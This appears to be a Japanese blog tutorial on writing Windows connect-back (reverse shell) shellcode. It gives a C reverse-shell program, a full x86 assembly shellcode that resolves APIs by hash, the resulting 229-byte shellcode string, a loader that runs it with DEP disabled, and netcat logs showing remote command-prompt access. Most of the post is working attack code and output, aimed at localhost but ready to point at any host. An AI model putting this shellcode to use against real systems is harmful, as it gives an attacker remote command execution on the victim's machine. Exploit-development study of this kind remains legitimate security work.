Windowsでconnect-backシェルコードを書いてみる
「Windowsで電卓を起動するシェルコードを書いてみる」ではPEBからライブラリ関数のアドレスを特定し、WinExec関数を使って電卓を起動するシェルコードを書いた。 ここでは、プログラムがWinsockを利用していることを前提に、connect-back shellを起動するシェルコードを書いてみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo
OS 名: Microsoft Windows 8.1 Pro
OS バージョン: 6.3.9600 N/A ビルド 9600
OS ビルドの種類: Multiprocessor Free
システムの種類: x64-based PC
プロセッサ: 1 プロセッサインストール済みです。
[01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz
>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
>ml
Microsoft (R) Macro Assembler Version 12.00.31101.0
>dumpbin
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
C言語で書いてみる
C言語でconnect-back shellを起動するプログラムを書くと次のようになる。
/* connectback.c */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
int main()
{
WSADATA wsaData;
SOCKET s;
SOCKADDR_IN name;
STARTUPINFO s_info = {0};
PROCESS_INFORMATION p_info;
WSAStartup(MAKEWORD(2, 2), &wsaData);
s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
name.sin_family = AF_INET;
name.sin_addr.s_addr = inet_addr("127.0.0.1");
name.sin_port = htons(4444);
connect(s, (SOCKADDR *)&name, sizeof(name));
s_info.cb = sizeof(s_info);
s_info.hStdInput = (HANDLE)s;
s_info.hStdOutput = (HANDLE)s;
s_info.hStdError = (HANDLE)s;
s_info.dwFlags = STARTF_USESTDHANDLES;
CreateProcess(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &s_info, &p_info);
ExitProcess(0);
}
connectなどWinsockの各種関数はws2_32.dllにて実装されているため、上のコードではまずws2_32.libとリンクするようにpragmaコメントを指定している。 コードの内容を簡単にまとめると次のようになる。
- WSAStartup関数でWinsockの初期化を行う
- WSASocket関数でTCPソケットを生成する
- connect関数でlocalhostの4444番ポートに接続する
- CreateProcess関数でソケットを標準入出力としたコマンドプロンプトを起動する
CreateProcess関数は次のような引数を取る関数である。
BOOL WINAPI CreateProcess( _In_opt_ LPCTSTR lpApplicationName, _Inout_opt_ LPTSTR lpCommandLine, _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ BOOL bInheritHandles, _In_ DWORD dwCreationFlags, _In_opt_ LPVOID lpEnvironment, _In_opt_ LPCTSTR lpCurrentDirectory, _In_ LPSTARTUPINFO lpStartupInfo, _Out_ LPPROCESS_INFORMATION lpProcessInformation );
ソケットを標準入出力にする上では、bInheritHandlesにTRUEを指定した上でlpStartupInfoに適切な値を格納したLPSTARTUPINFO構造体を指定する必要がある。
具体的には、構造体のdwFlagsメンバでSTARTF_USESTDHANDLESフラグを立てた上で、hStdInput、hStdOutput、hStdErrorメンバのそれぞれにハンドルとしてソケットを指定する。
また、起動されるプロセスの情報が格納される領域としてPROCESS_INFORMATION構造体の領域を確保し、lpProcessInformationにそのポインタを指定する必要がある。
localhostのTCP 4444番ポートで接続を待ち受けておいた上で、コードをコンパイルして実行してみる。
>cl connectback.c Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. connectback.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:connectback.exe connectback.obj >connectback.exe
>powershell -executionpolicy remotesigned -c ".\nc -v -l 4444" 詳細: Listening on [0.0.0.0] (family 0, port 4444) 詳細: Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 60684) Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. >whoami whoami vm-windows8\user >exit exit
接続が行われ、リモートからコマンドプロンプトが操作できることが確認できる。
シェルコードを書いてみる
「Windowsで電卓を起動するシェルコードを書いてみる」で利用したhashcalc.exeおよびapi_callルーチンを用いて、シェルコードを書くと次のようになる。
; connectback.asm
.386
.model flat, stdcall
.code
start:
cld
jmp main
api_call:
assume fs:nothing
pushad
xor eax, eax
mov eax, fs:[eax+30h] ; PEB
mov eax, [eax+0ch] ; Ldr
mov esi, [eax+14h] ; InMemoryOrderModuleList
next_mod:
lodsd ; next _LDR_DATA_TABLE_ENTRY
mov [esp+1ch], eax ; store eax
mov ebp, [eax+10h] ; DllBase
mov eax, [ebp+3ch] ; IMAGE_DOS_HEADER.e_lfanew
mov edx, [ebp+eax+78h] ; IMAGE_EXPORT_DIRECTORY
add edx, ebp
mov ecx, [edx+18h] ; NumberOfNames
mov ebx, [edx+20h] ; AddressOfNames
add ebx, ebp
next_name: ; while (--NumberOfNames)
jecxz name_not_found
dec ecx
mov esi, [ebx+ecx*4] ; ptr = AddressOfNames[NumberOfNames]
add esi, ebp
xor edi, edi ; hash = 0
xor eax, eax
compute_hash_loop: ; while ((c = *(ptr++)) != 0)
lodsb
test al, al
jz compare_hash
ror edi, 0dh ; hash += ror(c, 0x0d)
add edi, eax
jmp compute_hash_loop
compare_hash:
cmp edi, [esp+24h] ; 1st argument (hash value)
jnz next_name
mov ebx, [edx+24h] ; AddressOfNameOrdinals
add ebx, ebp
mov cx, [ebx+ecx*2] ; y = AddressOfNameOrdinals[x]
mov ebx, [edx+1ch] ; AddressOfFunctions
add ebx, ebp
mov eax, [ebx+ecx*4] ; AddressOfFunctions[y]
add eax, ebp
mov [esp+1ch], eax ; store eax
popad
pop ecx
pop edx
push ecx
jmp eax ; jump to api function
name_not_found:
mov esi, [esp+1ch] ; update eax
jmp next_mod
main:
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 1
push 2
push 0adf509d9h ; WSASocketA
call api_call
xchg esi, eax
push 1010107fh ; 127.1.1.1
pushw 5c11h ; 4444
pushw 2
mov edi, esp
push 10h
push edi
push esi
push 60aaf9ech ; connect
call api_call
push 44h ; STARTUPINFO
pop ecx
sub esp, ecx
mov edi, esp
push edi
xor eax, eax
rep stosb
pop edi
mov byte ptr [edi], 44h
inc byte ptr [edi+2dh]
push edi
xchg esi, eax
lea edi, [edi+38h]
stosd
stosd
stosd
pop edi
lea esi, [edi+44h] ; PROCESS_INFORMATION
mov eax, 646d6301h ; "cmd"
sar eax, 8
push eax
mov eax, esp
push esi
push edi
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push eax
push ebx
push 16b3fe72h ; CreateProcessA
call api_call
push ebx
push 73e2d87eh ; ExitProcess
call api_call
end start
上のコードでは、あらかじめws2_32.dllのロードおよびWSAStartup関数の実行がすでに行われていることを前提に、これらを行う処理を省略している。 また、NUL文字除去のため接続先アドレスとして127.0.0.1の代わりに127.1.1.1を指定している。 loopbackアドレスの場合はこれで十分であるが、それ以外のIPアドレスについてNUL文字が含まれる場合xorなど何らかの対応を行う必要がある。
コードをアセンブルしてみる。
>ml connectback.asm /link /subsystem:console Microsoft (R) Macro Assembler Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: connectback.asm Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /OUT:connectback.exe connectback.obj /subsystem:console
ディスアセンブルして対応するバイト列を表示し、これをC文字列に変換してみる。
>dumpbin /rawdata connectback.exe
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file connectback.exe
File Type: EXECUTABLE IMAGE
RAW DATA #1
00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14 üëg`3Àd.@0.@..p.
00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03 .D$..h..E<.T(x.
00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03 Õ.J..Z .Ýã9I.4..
00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB õ3ÿ3À¬.Àt.ÁÏ..øë
00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B ô;|$$uâ.Z$.Ýf..K
00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59 .Z..Ý....Å.D$.aY
00401060: 5A 51 FF E0 8B 74 24 1C EB A6 33 DB 53 53 53 53 ZQÿà.t$.ë¦3ÛSSSS
00401070: 6A 01 6A 02 68 D9 09 F5 AD E8 85 FF FF FF 96 68 j.j.hÙ.õè.ÿÿÿ.h
00401080: 7F 10 10 10 66 68 11 5C 66 6A 02 8B FC 6A 10 57 ....fh.\fj..üj.W
00401090: 56 68 EC F9 AA 60 E8 68 FF FF FF 6A 44 59 2B E1 Vhìùª`èhÿÿÿjDY+á
004010A0: 8B FC 57 33 C0 F3 AA 5F C6 07 44 FE 47 2D 57 96 .üW3Àóª_Æ.DþG-W.
004010B0: 8D 7F 38 AB AB AB 5F 8D 77 44 B8 01 63 6D 64 C1 ..8«««_.wD¸.cmdÁ
004010C0: F8 08 50 8B C4 56 57 53 53 53 6A 01 53 53 50 53 ø.P.ÄVWSSSj.SSPS
004010D0: 68 72 FE B3 16 E8 29 FF FF FF 53 68 7E D8 E2 73 hrþ³.è)ÿÿÿSh~Øâs
004010E0: E8 1E FF FF FF è.ÿÿÿ
Summary
1000 .text
>dumpbin /rawdata connectback.exe | powershell -ex remotesigned -f getsc.ps1
\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x53\x53\x53\x6A\x01\x6A\x02\x68\xD9\x09\xF5\xAD\xE8\x85\xFF\xFF\xFF\x96\x68\x7F\x10\x10\x10\x66\x68\x11\x5C\x66\x6A\x02\x8B\xFC\x6A\x10\x57\x56\x68\xEC\xF9\xAA\x60\xE8\x68\xFF\xFF\xFF\x6A\x44\x59\x2B\xE1\x8B\xFC\x57\x33\xC0\xF3\xAA\x5F\xC6\x07\x44\xFE\x47\x2D\x57\x96\x8D\x7F\x38\xAB\xAB\xAB\x5F\x8D\x77\x44\xB8\x01\x63\x6D\x64\xC1\xF8\x08\x50\x8B\xC4\x56\x57\x53\x53\x53\x6A\x01\x53\x53\x50\x53\x68\x72\xFE\xB3\x16\xE8\x29\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x1E\xFF\xFF\xFF
シェルコードを実行してみる
WSAStartup関数を実行した上で、上のバイト列にジャンプするC言語コードを書いてみると次のようになる。
/* loader.c */
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
int main()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
char code[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x53\x53\x53\x6A\x01\x6A\x02\x68\xD9\x09\xF5\xAD\xE8\x85\xFF\xFF\xFF\x96\x68\x7F\x10\x10\x10\x66\x68\x11\x5C\x66\x6A\x02\x8B\xFC\x6A\x10\x57\x56\x68\xEC\xF9\xAA\x60\xE8\x68\xFF\xFF\xFF\x6A\x44\x59\x2B\xE1\x8B\xFC\x57\x33\xC0\xF3\xAA\x5F\xC6\x07\x44\xFE\x47\x2D\x57\x96\x8D\x7F\x38\xAB\xAB\xAB\x5F\x8D\x77\x44\xB8\x01\x63\x6D\x64\xC1\xF8\x08\x50\x8B\xC4\x56\x57\x53\x53\x53\x6A\x01\x53\x53\x50\x53\x68\x72\xFE\xB3\x16\xE8\x29\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x1E\xFF\xFF\xFF";
printf("strlen(code) = %d\n", strlen(code));
(*(void (*)())code)();
return 0;
}
localhostのTCP 4444番ポートで接続を待ち受けておいた上で、DEP無効でコンパイルして実行してみる。
>cl loader.c /link /nxcompat:no Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. loader.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:loader.exe /nxcompat:no loader.obj >loader.exe strlen(code) = 229
>powershell -executionpolicy remotesigned -c ".\nc -v -l 4444" 詳細: Listening on [0.0.0.0] (family 0, port 4444) 詳細: Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 53174) Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. >whoami whoami vm-windows8\user >exit exit
シェルコードの実行により接続が行われ、リモートからコマンドプロンプトが操作できることが確認できた。 このシェルコードの長さは229バイトである。